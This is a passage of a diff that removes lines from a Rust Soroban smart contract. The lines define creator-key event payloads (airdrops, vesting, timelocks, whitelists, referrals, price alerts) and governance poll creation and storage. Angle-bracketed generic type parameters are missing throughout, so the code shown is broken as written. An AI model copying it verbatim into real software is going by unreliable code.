payloads. -pub const KEYS_AIRDROPPED_DATA_FIELDS: [&str; 6] = [ - "creator_id", - "total_keys", - "total_cost", - "recipient_count", - "skipped_count", - "ledger", -]; - -/// Stable airdrop event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(KEYS_AIRDROPPED_EVENT_NAME, creator_id)` -/// - data: `KeysAirdroppedEvent` -/// -/// `total_cost` is the full amount charged to the creator (curve cost plus -/// protocol fee), `skipped_count` is the number of recipients skipped due to -/// per-wallet cap, and `ledger` is the Soroban ledger sequence number at airdrop -/// time so off-chain indexers can reconstruct the timeline. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct KeysAirdroppedEvent { - pub creator_id: Address, - pub total_keys: u32, - pub total_cost: i128, - pub recipient_count: u32, - pub skipped_count: u32, - pub ledger: u32, -} - -/// Shared airdrop event topics tuple. -pub fn keys_airdropped_topics(creator: &Address) -> (Symbol, Address) { - (KEYS_AIRDROPPED_EVENT_NAME, creator.clone()) -} - -/// Event name for treasury withdrawal by the protocol admin. -pub const TREASURY_WITHDRAWAL_EVENT_NAME: Symbol = symbol_short!("treas_out"); - -/// Event name for creator storage TTL extension. -pub const TTL_EXTENDED_EVENT_NAME: Symbol = symbol_short!("ttl_ext"); - -/// Stable field order for treasury withdrawal event payloads. -pub const TREASURY_WITHDRAWAL_DATA_FIELDS: [&str; 4] = - ["amount", "recipient", "remaining_balance", "ledger"]; - -/// Stable treasury withdrawal event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(TREASURY_WITHDRAWAL_EVENT_NAME, recipient)` -/// - data: `TreasuryWithdrawalEvent` -/// -/// `ledger` is the Soroban ledger sequence number at the time of withdrawal so -/// off-chain indexers can reconstruct the timeline without replaying all events. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct TreasuryWithdrawalEvent { - pub amount: i128, - pub recipient: Address, - pub remaining_balance: i128, - pub ledger: u32, -} - -/// Shared treasury withdrawal event topics tuple. -pub fn treasury_withdrawal_event_topics(recipient: &Address) -> (Symbol, Address) { - (TREASURY_WITHDRAWAL_EVENT_NAME, recipient.clone()) -} - -/// Event name for reward pool top-up. -pub const REWARD_POOL_TOPUP_EVENT_NAME: Symbol = symbol_short!("rwd_top"); - -/// Stable field order for reward pool top-up event payloads. -pub const REWARD_POOL_TOPUP_DATA_FIELDS: [&str; 3] = ["sender", "amount", "new_pool_balance"]; - -/// Stable reward pool top-up event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(REWARD_POOL_TOPUP_EVENT_NAME, sender)` -/// - data: `RewardPoolTopUpEvent` -/// -/// Emitted when the authorised fee router calls `topup_reward_pool`. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct RewardPoolTopUpEvent { - /// Address of the fee router that sent the top-up. - pub sender: Address, - /// Amount added to the pool in this call (stroops). - pub amount: i128, - /// New total reward pool balance after the top-up (stroops). - pub new_pool_balance: i128, -} - -/// Shared reward pool top-up event topics tuple. -pub fn reward_pool_topup_topics(sender: &Address) -> (Symbol, Address) { - (REWARD_POOL_TOPUP_EVENT_NAME, sender.clone()) -} - -/// Event name for bid-ask spread update. -pub const SPREAD_UPDATED_EVENT_NAME: Symbol = symbol_short!("sprd_upd"); - -/// Stable field order for spread updated event payloads. -pub const SPREAD_UPDATED_DATA_FIELDS: [&str; 3] = ["creator", "old_spread_bps", "new_spread_bps"]; - -/// Stable spread updated event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(SPREAD_UPDATED_EVENT_NAME, creator)` -/// - data: `SpreadUpdatedEvent` -/// -/// Emitted when the admin updates the bid-ask spread for a creator. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct SpreadUpdatedEvent { - /// Creator whose spread was changed. - pub creator: Address, - /// Previous spread in basis points. - pub old_spread_bps: u32, - /// New spread in basis points. - pub new_spread_bps: u32, -} - -/// Shared spread updated event topics tuple. -pub fn spread_updated_topics(creator: &Address) -> (Symbol, Address) { - (SPREAD_UPDATED_EVENT_NAME, creator.clone()) -} - -/// Shared TTL extension event topics tuple. -pub fn ttl_extended_topics(creator: &Address) -> (Symbol, Address) { - (TTL_EXTENDED_EVENT_NAME, creator.clone()) -} - -// --- Supply cap events --- - -/// Event name for supply cap set. -pub const SUPPLY_CAP_SET_EVENT_NAME: Symbol = symbol_short!("cap_set"); - -/// Event shape: -/// - topics: `(SUPPLY_CAP_SET_EVENT_NAME, creator)` -/// - data: `SupplyCapSetEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct SupplyCapSetEvent { - pub creator_id: Address, - pub cap: u32, -} - -pub fn supply_cap_set_topics(creator: &Address) -> (Symbol, Address) { - (SUPPLY_CAP_SET_EVENT_NAME, creator.clone()) -} - -/// Event name emitted exactly once when a buy fills a capped key's supply to -/// its configured cap. Subsequent buys revert with `SupplyCapExceeded`, so the -/// event is never emitted again for the same key. -pub const SUPPLY_CAP_REACHED_EVENT_NAME: Symbol = symbol_short!("cap_reach"); - -/// Stable supply-cap-reached event payload. -/// -/// Event shape: -/// - topics: `(SUPPLY_CAP_REACHED_EVENT_NAME, creator_id)` -/// - data: `SupplyCapReachedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct SupplyCapReachedEvent { - /// Creator whose key supply just reached the configured cap. - pub creator_id: Address, - /// New total supply, which now equals the configured cap. - pub new_supply: u32, - /// The configured cap that was reached. - pub cap: u32, - /// Ledger in which the cap was reached. - pub ledger: u32, -} - -/// Shared supply-cap-reached event topics tuple. -pub fn supply_cap_reached_topics(creator: &Address) -> (Symbol, Address) { - (SUPPLY_CAP_REACHED_EVENT_NAME, creator.clone()) -} - -// --- Multisig pause events --- - -/// Event name for pause proposal. -pub const PAUSE_PROPOSED_EVENT_NAME: Symbol = symbol_short!("pp_prop"); - -/// Event name for trading paused via multisig. -pub const TRADING_PAUSED_EVENT_NAME: Symbol = symbol_short!("pp_exec"); - -/// Event shape: -/// - topics: `(PAUSE_PROPOSED_EVENT_NAME, creator)` -/// - data: `PauseProposedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct PauseProposedEvent { - pub creator_id: Address, - pub proposer: Address, - pub ledger: u32, -} - -/// Event shape: -/// - topics: `(TRADING_PAUSED_EVENT_NAME, creator)` -/// - data: `TradingPausedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct TradingPausedEvent { - pub creator_id: Address, - pub approver: Address, - pub ledger: u32, -} - -pub fn pause_proposed_topics(creator: &Address) -> (Symbol, Address) { - (PAUSE_PROPOSED_EVENT_NAME, creator.clone()) -} - -pub fn trading_paused_topics(creator: &Address) -> (Symbol, Address) { - (TRADING_PAUSED_EVENT_NAME, creator.clone()) -} - -/// Event name for a key trading pause with a fixed expiry. -pub const PAUSE_EXPIRY_SET_EVENT_NAME: Symbol = symbol_short!("pp_exp"); - -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct PauseExpirySetEvent { - pub key_id: Address, - pub pause_expires_at: u32, -} - -pub fn pause_expiry_set_topics(key_id: &Address) -> (Symbol, Address) { - (PAUSE_EXPIRY_SET_EVENT_NAME, key_id.clone()) -} - -// --- Global emergency pause events (#784) --- - -/// Event name emitted when the protocol-wide emergency pause activates. -pub const GLOBAL_PAUSE_ACTIVATED_EVENT_NAME: Symbol = symbol_short!("gpause_on"); - -/// Event name emitted when the protocol-wide emergency pause is lifted. -pub const GLOBAL_PAUSE_LIFTED_EVENT_NAME: Symbol = symbol_short!("gpause_of"); - -/// Topics for the `global_pause_activated` event. -/// -/// - topics: `(GLOBAL_PAUSE_ACTIVATED_EVENT_NAME, approver)` -/// - data: the ledger sequence at activation (`u32`) -pub fn global_pause_activated_topics(approver: &Address) -> (Symbol, Address) { - (GLOBAL_PAUSE_ACTIVATED_EVENT_NAME, approver.clone()) -} - -/// Topics for the `global_pause_lifted` event. -/// -/// - topics: `(GLOBAL_PAUSE_LIFTED_EVENT_NAME, approver)` -/// - data: the ledger sequence at the lift (`u32`) -pub fn global_pause_lifted_topics(approver: &Address) -> (Symbol, Address) { - (GLOBAL_PAUSE_LIFTED_EVENT_NAME, approver.clone()) -} - -// --- Vesting events --- - -/// Event name for vesting schedule created. -pub const VESTING_CREATED_EVENT_NAME: Symbol = symbol_short!("vest_new"); - -/// Event name for vested keys claimed. -pub const KEYS_CLAIMED_EVENT_NAME: Symbol = symbol_short!("vest_clm"); - -/// Event shape: -/// - topics: `(VESTING_CREATED_EVENT_NAME, creator)` -/// - data: `VestingCreatedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct VestingCreatedEvent { - pub creator_id: Address, - pub beneficiary: Address, - pub total_keys: u32, - pub start_ledger: u32, - pub vesting_period_ledgers: u32, -} - -/// Event shape: -/// - topics: `(KEYS_CLAIMED_EVENT_NAME, creator, beneficiary)` -/// - data: `KeysClaimedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct KeysClaimedEvent { - pub creator_id: Address, - pub beneficiary: Address, - pub amount: u32, - pub ledger: u32, -} - -pub fn vesting_created_topics(creator: &Address) -> (Symbol, Address) { - (VESTING_CREATED_EVENT_NAME, creator.clone()) -} - -pub fn keys_claimed_topics(creator: &Address, beneficiary: &Address) -> (Symbol, Address, Address) { - ( - KEYS_CLAIMED_EVENT_NAME, - creator.clone(), - beneficiary.clone(), - ) -} - -pub const VESTING_CLIFF_CLAIMED_EVENT_NAME: Symbol = symbol_short!("vc_claim"); - -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct VestingCliffClaimedEvent { - pub creator_id: Address, - pub beneficiary: Address, - pub amount: i128, - pub ledger: u32, -} - -pub fn vesting_cliff_claimed_topics( - creator: &Address, - beneficiary: &Address, -) -> (Symbol, Address, Address) { - ( - VESTING_CLIFF_CLAIMED_EVENT_NAME, - creator.clone(), - beneficiary.clone(), - ) -} - -// --- Timelock events --- - -/// Event name for config change proposed. -pub const CONFIG_CHANGE_PROPOSED_EVENT_NAME: Symbol = symbol_short!("tl_prop"); - -/// Event name for config change executed. -pub const CONFIG_CHANGE_EXECUTED_EVENT_NAME: Symbol = symbol_short!("tl_exec"); - -/// Event name for config change cancelled. -pub const CONFIG_CHANGE_CANCELLED_EVENT_NAME: Symbol = symbol_short!("tl_canc"); - -/// Event shape: -/// - topics: `(CONFIG_CHANGE_PROPOSED_EVENT_NAME, proposer)` -/// - data: `ConfigChangeProposedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct ConfigChangeProposedEvent { - pub proposal_id: u32, - pub proposer: Address, - pub change_type: u32, - pub proposed_at: u32, - pub execution_not_before: u32, -} - -/// Event shape: -/// - topics: `(CONFIG_CHANGE_EXECUTED_EVENT_NAME,)` -/// - data: `ConfigChangeExecutedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct ConfigChangeExecutedEvent { - pub proposal_id: u32, - pub executed_at: u32, -} - -/// Event shape: -/// - topics: `(CONFIG_CHANGE_CANCELLED_EVENT_NAME,)` -/// - data: `ConfigChangeCancelledEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct ConfigChangeCancelledEvent { - pub proposal_id: u32, - pub cancelled_at: u32, -} - -pub fn config_change_proposed_topics(proposer: &Address) -> (Symbol, Address) { - (CONFIG_CHANGE_PROPOSED_EVENT_NAME, proposer.clone()) -} - -pub fn config_change_executed_topics() -> Symbol { - CONFIG_CHANGE_EXECUTED_EVENT_NAME -} - -pub fn config_change_cancelled_topics() -> Symbol { - CONFIG_CHANGE_CANCELLED_EVENT_NAME -} - -// --- Circuit breaker, referral fee, whitelist, burn events --- - -pub const CIRCUIT_BREAKER_TRIGGERED_EVENT_NAME: Symbol = symbol_short!("cb_trig"); -pub const REFERRAL_FEE_PAID_EVENT_NAME: Symbol = symbol_short!("ref_paid"); -pub const WHITELIST_ENABLED_EVENT_NAME: Symbol = symbol_short!("wl_en"); -pub const WHITELIST_DISABLED_EVENT_NAME: Symbol = symbol_short!("wl_dis"); -pub const ADDRESS_WHITELISTED_EVENT_NAME: Symbol = symbol_short!("wl_add"); -pub const ADDRESS_REMOVED_EVENT_NAME: Symbol = symbol_short!("wl_rem"); -pub const HOLDING_CAP_UPDATED_EVENT_NAME: Symbol = symbol_short!("hold_cap"); -pub const WHITELIST_UPDATED_EVENT_NAME: Symbol = symbol_short!("wl_upd"); -pub const EARLY_ACCESS_MODE_CHANGED_EVENT_NAME: Symbol = symbol_short!("ea_mode"); -pub const REFERRAL_REGISTERED_EVENT_NAME: Symbol = symbol_short!("ref_reg"); -pub const REFERRAL_REWARD_ALLOCATED_EVENT_NAME: Symbol = symbol_short!("ref_rwd"); -pub const REFERRAL_REWARDS_CLAIMED_EVENT_NAME: Symbol = symbol_short!("ref_clm"); -pub const REFERRAL_TIER_UPGRADED_EVENT_NAME: Symbol = symbol_short!("tier_upg"); -pub const KEYS_BURNED_EVENT_NAME: Symbol = symbol_short!("burned"); -pub const SELF_FREEZE_APPLIED_EVENT_NAME: Symbol = symbol_short!("sf_add"); -pub const SELF_FREEZE_LIFTED_EVENT_NAME: Symbol = symbol_short!("sf_del"); - -/// Event shape: -/// - topics: `(SELF_FREEZE_APPLIED_EVENT_NAME, key_id, wallet)` -/// - topics: `(SELF_FREEZE_LIFTED_EVENT_NAME, key_id, wallet)` -/// - data: `SelfFreezeEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct SelfFreezeEvent { - pub key_id: Address, - pub wallet: Address, - pub quantity: u32, -} - -/// Event shape: -/// - topics: `(CIRCUIT_BREAKER_TRIGGERED_EVENT_NAME,)` -/// - data: `CircuitBreakerTriggeredEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct CircuitBreakerTriggeredEvent { - pub pre_price: i128, - pub post_price: i128, - pub actual_bps: u32, -} - -pub fn circuit_breaker_triggered_topics() -> Symbol { - CIRCUIT_BREAKER_TRIGGERED_EVENT_NAME -} - -/// Event shape: -/// - topics: `(REFERRAL_FEE_PAID_EVENT_NAME,)` -/// - data: `ReferralFeePaidEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct ReferralFeePaidEvent { - pub referrer: Address, - pub amount: i128, -} - -pub fn referral_fee_paid_topics() -> Symbol { - REFERRAL_FEE_PAID_EVENT_NAME -} - -/// Event shape: -/// - topics: `(WHITELIST_ENABLED_EVENT_NAME, creator)` -/// - data: `WhitelistEnabledEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct WhitelistEnabledEvent { - pub creator: Address, -} - -pub fn whitelist_enabled_topics(creator: &Address) -> (Symbol, Address) { - (WHITELIST_ENABLED_EVENT_NAME, creator.clone()) -} - -/// Event shape: -/// - topics: `(WHITELIST_DISABLED_EVENT_NAME, creator)` -/// - data: `WhitelistDisabledEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct WhitelistDisabledEvent { - pub creator: Address, -} - -pub fn whitelist_disabled_topics(creator: &Address) -> (Symbol, Address) { - (WHITELIST_DISABLED_EVENT_NAME, creator.clone()) -} - -/// Event shape: -/// - topics: `(ADDRESS_WHITELISTED_EVENT_NAME, creator)` -/// - data: `AddressWhitelistedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct AddressWhitelistedEvent { - pub creator: Address, - pub address: Address, -} - -pub fn address_whitelisted_topics(creator: &Address) -> (Symbol, Address) { - (ADDRESS_WHITELISTED_EVENT_NAME, creator.clone()) -} - -/// Event shape: -/// - topics: `(ADDRESS_REMOVED_EVENT_NAME, creator)` -/// - data: `AddressRemovedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct AddressRemovedEvent { - pub creator: Address, - pub address: Address, -} - -pub fn address_removed_topics(creator: &Address) -> (Symbol, Address) { - (ADDRESS_REMOVED_EVENT_NAME, creator.clone()) -} - -/// Emitted when a creator changes their per-wallet holding cap. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct HoldingCapUpdatedEvent { - pub creator: Address, - pub old_cap: Option, - pub new_cap: u32, -} - -pub fn holding_cap_updated_topics(creator: &Address) -> (Symbol, Address) { - (HOLDING_CAP_UPDATED_EVENT_NAME, creator.clone()) -} - -/// Event name emitted when a creator tightens their per-wallet percentage -/// holding cap (`holder_cap_bps`) via `update_holder_cap`. -/// -/// The cap can only be reduced, never increased beyond the value stored at -/// launch. -pub const HOLDER_CAP_UPDATED_EVENT_NAME: Symbol = symbol_short!("hcap_upd"); - -/// Payload emitted when a creator updates their per-wallet percentage holding -/// cap via `update_holder_cap`. -/// -/// Event shape: -/// - topics: `(HOLDER_CAP_UPDATED_EVENT_NAME, key_id)` -/// - data: `HolderCapUpdatedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct HolderCapUpdatedEvent { - /// Creator (key) whose holder cap was updated. - pub key_id: Address, - /// Previous holder cap in basis points. - pub old_cap_bps: u32, - /// New holder cap in basis points. - pub new_cap_bps: u32, -} - -/// Shared holder-cap-updated event topics tuple. -pub fn holder_cap_updated_topics(key_id: &Address) -> (Symbol, Address) { - (HOLDER_CAP_UPDATED_EVENT_NAME, key_id.clone()) -} - -// --- Price alerts (#1030) --- - -/// Event name emitted when a wallet registers a price alert via `register_alert`. -pub const PRICE_ALERT_REGISTERED_EVENT_NAME: Symbol = symbol_short!("alert_reg"); - -/// Stable price-alert-registered event field order for downstream indexers. -pub const PRICE_ALERT_REGISTERED_EVENT_DATA_FIELDS: [&str; 6] = [ - "wallet", - "key_id", - "alert_id", - "direction", - "target_price", - "ledger", -]; - -/// Payload emitted when a wallet registers a price alert. -/// -/// Event shape: -/// - topics: `(PRICE_ALERT_REGISTERED_EVENT_NAME, key_id, wallet)` -/// - data: `PriceAlertRegisteredEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct PriceAlertRegisteredEvent { - /// Wallet that registered the alert. - pub wallet: Address, - /// Key whose spot price is watched. - pub key_id: Address, - /// Id assigned to the alert. - pub alert_id: u64, - /// Crossing direction that fires the alert. - pub direction: crate::price_alerts::AlertDirection, - /// Spot price threshold. - pub target_price: i128, - /// Ledger in which the alert was registered. - pub ledger: u32, -} - -/// Shared price-alert-registered event topics tuple. -pub fn price_alert_registered_topics( - key_id: &Address, - wallet: &Address, -) -> (Symbol, Address, Address) { - ( - PRICE_ALERT_REGISTERED_EVENT_NAME, - key_id.clone(), - wallet.clone(), - ) -} - -/// Event name emitted when a buy or sell moves a key's spot price across a -/// registered alert's target. Each alert emits it at most once: the alert is -/// deactivated in the same call. -pub const PRICE_ALERT_TRIGGERED_EVENT_NAME: Symbol = symbol_short!("alert_trg"); - -/// Stable price-alert-triggered event field order for downstream indexers. -pub const PRICE_ALERT_TRIGGERED_EVENT_DATA_FIELDS: [&str; 7] = [ - "wallet", - "key_id", - "alert_id", - "direction", - "target_price", - "new_price", - "ledger", -]; - -/// Payload emitted when a price alert fires. -/// -/// Event shape: -/// - topics: `(PRICE_ALERT_TRIGGERED_EVENT_NAME, key_id, wallet)` -/// - data: `PriceAlertTriggeredEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct PriceAlertTriggeredEvent { - /// Wallet that registered the alert. - pub wallet: Address, - /// Key whose spot price crossed the target. - pub key_id: Address, - /// Id of the alert that fired. - pub alert_id: u64, - /// Crossing direction of the alert. - pub direction: crate::price_alerts::AlertDirection, - /// The alert's spot price threshold. - pub target_price: i128, - /// Spot price after the trade that crossed the target. - pub new_price: i128, - /// Ledger of the trade that fired the alert. - pub ledger: u32, -} - -/// Shared price-alert-triggered event topics tuple. -pub fn price_alert_triggered_topics( - key_id: &Address, - wallet: &Address, -) -> (Symbol, Address, Address) { - ( - PRICE_ALERT_TRIGGERED_EVENT_NAME, - key_id.clone(), - wallet.clone(), - ) -} - -/// Event name emitted when a wallet cancels a price alert via `cancel_alert`. -pub const PRICE_ALERT_CANCELLED_EVENT_NAME: Symbol = symbol_short!("alert_cxl"); - -/// Payload emitted when a wallet cancels a price alert. -/// -/// Event shape: -/// - topics: `(PRICE_ALERT_CANCELLED_EVENT_NAME, key_id, wallet)` -/// - data: `PriceAlertCancelledEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct PriceAlertCancelledEvent { - /// Wallet that cancelled the alert. - pub wallet: Address, - /// Key the alert watched. - pub key_id: Address, - /// Id of the cancelled alert. - pub alert_id: u64, - /// Ledger in which the alert was cancelled. - pub ledger: u32, -} - -/// Shared price-alert-cancelled event topics tuple. -pub fn price_alert_cancelled_topics( - key_id: &Address, - wallet: &Address, -) -> (Symbol, Address, Address) { - ( - PRICE_ALERT_CANCELLED_EVENT_NAME, - key_id.clone(), - wallet.clone(), - ) -} - -/// Emitted on every early-access whitelist add (`allowed = true`) and remove. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct WhitelistUpdatedEvent { - pub creator: Address, - pub wallet: Address, - pub allowed: bool, -} - -pub fn whitelist_updated_topics(creator: &Address) -> (Symbol, Address) { - (WHITELIST_UPDATED_EVENT_NAME, creator.clone()) -} - -/// Emitted when a creator toggles early-access mode. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct EarlyAccessModeChangedEvent { - pub creator: Address, - pub enabled: bool, -} - -pub fn early_access_mode_changed_topics(creator: &Address) -> (Symbol, Address) { - (EARLY_ACCESS_MODE_CHANGED_EVENT_NAME, creator.clone()) -} - -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct ReferralRegisteredEvent { - pub referee: Address, - pub referrer: Address, -} - -pub fn referral_registered_topics() -> Symbol { - REFERRAL_REGISTERED_EVENT_NAME -} - -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct ReferralRewardAllocatedEvent { - pub referee: Address, - pub referrer: Address, - pub amount: i128, -} - -pub fn referral_reward_allocated_topics() -> Symbol { - REFERRAL_REWARD_ALLOCATED_EVENT_NAME -} - -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct ReferralRewardsClaimedEvent { - pub referrer: Address, - pub amount: i128, -} - -pub fn referral_rewards_claimed_topics() -> Symbol { - REFERRAL_REWARDS_CLAIMED_EVENT_NAME -} - -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct ReferralTierUpgradedEvent { - pub referrer: Address, - pub old_tier: u32, - pub new_tier: u32, - pub volume: i128, - pub reward_rate_bps: u32, -} - -pub fn referral_tier_upgraded_topics(referrer: &Address) -> (Symbol, Address) { - (REFERRAL_TIER_UPGRADED_EVENT_NAME, referrer.clone()) -} - -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct KeysBurnedEvent { - pub wallet: Address, - pub key_id: Address, - pub quantity: u32, - pub new_supply: u32, -} - -pub fn keys_burned_topics(key_id: &Address) -> (Symbol, Address) { - (KEYS_BURNED_EVENT_NAME, key_id.clone()) -} - -/// Event shape: -/// - topics: `(QUORUM_UPDATED_EVENT_NAME, creator)` -/// - data: `QuorumUpdatedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct QuorumUpdatedEvent { - pub creator: Address, - pub quorum_bps: u32, - pub ledger: u32, -} - -pub fn quorum_updated_topics(creator: &Address) -> (Symbol, Address) { - (QUORUM_UPDATED_EVENT_NAME, creator.clone()) -} - -/// Event shape: -/// - topics: `(POLL_CLOSED_EVENT_NAME, creator, poll_id)` -/// - data: `PollClosedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct PollClosedEvent { - pub creator_id: Address, - pub poll_id: u32, - pub total_weight: u32, - /// Whether participation actually met the creator's `quorum_bps`. - /// - /// This stays `false` for a close that was only permitted because quorum - /// escalation had no extensions left, so off-chain consumers can tell a - /// genuine quorum from a deadline finalization. - pub quorum_reached: bool, - /// Whether this close was permitted purely by an exhausted extension budget. - pub finalized_by_exhaustion: bool, - pub ledger: u32, -} - -pub fn poll_closed_topics(creator: &Address, poll_id: u32) -> (Symbol, Address, u32) { - (POLL_CLOSED_EVENT_NAME, creator.clone(), poll_id) -} - -#[contracterror] -#[derive(Copy, Clone, Debug, Eq, PartialEq, PartialOrd, Ord)] -#[repr(u32)] -pub enum PollError { - NotRegistered = 20, - Overflow = 21, - InvalidOptionCount = 22, - QuestionTooLong = 23, - OptionTooLong = 24, - PollNotFound = 25, - PollExpired = 26, - NotAHolder = 27, - InvalidOption = 28, - QuorumNotReached = 29, - QuorumTooHigh = 30, - QuorumTooLow = 31, - Unauthorized = 32, - AlreadyClosed = 33, -} - -#[derive(Clone)] -#[contracttype] -pub enum PollDataKey { - NextPollId(Address), - Poll(Address, u32), - Vote(Address, u32, Address), - /// (creator, poll_id) -> number of quorum-escalation extensions consumed. - ExtensionCount(Address, u32), -} - -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct Poll { - pub question: String, - pub options: Vec, - pub vote_counts: Vec, - pub total_weight: u32, - pub expires_at: u32, - pub closed: bool, -} - -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct PollVote { - pub option_index: u32, - pub weight: u32, -} - -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct PollResult { - pub question: String, - pub options: Vec, - pub vote_counts: Vec, - pub total_weight: u32, - pub expired: bool, - pub closed: bool, -} - -pub fn poll_storage_key(creator_id: &Address, poll_id: u32) -> PollDataKey { - PollDataKey::Poll(creator_id.clone(), poll_id) -} - -pub fn vote_storage_key(creator_id: &Address, poll_id: u32, voter: &Address) -> PollDataKey { - PollDataKey::Vote(creator_id.clone(), poll_id, voter.clone()) -} - -/// Storage key for a poll's consumed quorum-escalation extension count. -pub fn poll_extension_count_key(creator_id: &Address, poll_id: u32) -> PollDataKey { - PollDataKey::ExtensionCount(creator_id.clone(), poll_id) -} - -/// Reads the number of quorum-escalation extensions a poll has consumed. -/// -/// A poll that has never been evaluated returns `0`. -pub fn read_poll_extension_count(env: &Env, creator_id: &Address, poll_id: u32) -> u32 { - env.storage() - .persistent() - .get(&poll_extension_count_key(creator_id, poll_id)) - .unwrap_or(0) -} - -/// Persists a poll's consumed quorum-escalation extension count. -pub fn write_poll_extension_count(env: &Env, creator_id: &Address, poll_id: u32, count: u32) { - let key = poll_extension_count_key(creator_id, poll_id); - env.storage().persistent().set(&key, &count); - extend_key_ttl_to_full_window(env, &key); -} - -/// Returns `true` when a poll has consumed every extension the active -/// escalation config allows. -/// -/// A `false` here means the proposal can still be extended, so closing it below -/// quorum would cut off a vote that quorum escalation is meant to rescue. -/// Conversely a `true` here makes the proposal final: it closes on its own -/// deadline even if participation never reached quorum. -/// -/// When escalation is disabled — no config, or a `max_extensions` of `0` — this -/// returns `false`, which keeps [`close_poll`]'s quorum requirement exactly as it -/// behaved before escalation existed. Reporting "exhausted" there would instead -/// let a creator with a configured `quorum_bps` close any failing proposal. -pub fn poll_extensions_exhausted(env: &Env, creator_id: &Address, poll_id: u32) -> bool { - let max_extensions = crate::CreatorKeysContract::get_escalation_config(env.clone()) - .map(|c| c.max_extensions) - .unwrap_or(0); - if max_extensions == 0 { - return false; - } - read_poll_extension_count(env, creator_id, poll_id) >= max_extensions -} - -pub fn read_poll(env: &Env, creator_id: &Address, poll_id: u32) -> Result { - env.storage() - .persistent() - .get(&poll_storage_key(creator_id, poll_id)) - .ok_or(PollError::PollNotFound) -} - -/// Persists a poll record and refreshes its TTL. -pub fn write_poll(env: &Env, creator_id: &Address, poll_id: u32, poll: &Poll) { - let key = poll_storage_key(creator_id, poll_id); - env.storage().persistent().set(&key, poll); - extend_key_ttl_to_full_window(env, &key); -} - -pub fn is_poll_expired(env: &Env, poll: &Poll) -> bool { - env.ledger().sequence() >= poll.expires_at -} - -fn validate_poll_options(options: &Vec) -> Result<(), PollError> { - let option_count = options.len(); - if !(MIN_POLL_OPTIONS..=MAX_POLL_OPTIONS).contains(&option_count) { - return Err(PollError::InvalidOptionCount); - } - - let mut index = 0; - while index < option_count { - let option = options.get(index).ok_or(PollError::InvalidOption)?; - if option.len() > MAX_OPTION_CHARS { - return Err(PollError::OptionTooLong); - } - index += 1; - } - - Ok(()) -} - -#[contractimpl] -impl CreatorKeysContract { - /// Creates a creator-owned governance poll with two to four options. - /// - /// The creator address must authorize the call. Polls expire at the current ledger - /// sequence plus `duration_ledgers`, and the returned `poll_id` is scoped to the creator. - pub fn create_poll( - env: Env, - creator_id: Address, - question: String, - options: Vec, - duration_ledgers: u32, - ) -> Result { - creator_id.require_auth(); - read_registered_creator_profile(&env, &creator_id).map_err(|_| PollError::NotRegistered)?; - - if question.len() > MAX_QUESTION_CHARS { - return Err(PollError::QuestionTooLong); - } - validate_poll_options(&options)?; - - let mut vote_counts = Vec::new(&env); - let mut index = 0; - while index < options.len() { - vote_counts.push_back(0); - index += 1; - } - - let next_key = PollDataKey::NextPollId(creator_id.clone()); - let poll_id: u32 = env.storage().persistent().get(&next_key).unwrap_or(1); - let next_poll_id = poll_id.checked_add(1).ok_or(PollError::Overflow)?; - let expires_at = env - .ledger() - .sequence() - .checked_add(duration_ledgers) - .ok_or(PollError::Overflow)?; - - let poll = Poll { - question, - options, - vote_counts, - total_weight: 0, - expires_at, - closed: false, - }; - - env.storage() - .persistent() - .set(&poll_storage_key(&creator_id, poll_id), &poll); - env.storage().persistent().set(&next_key, &next_poll_id); - env.events().publish( - (POLL_CREATED_EVENT_NAME, creator_id.clone(), poll_id), - poll.expires_at, - ); - - Ok(poll_id) - } 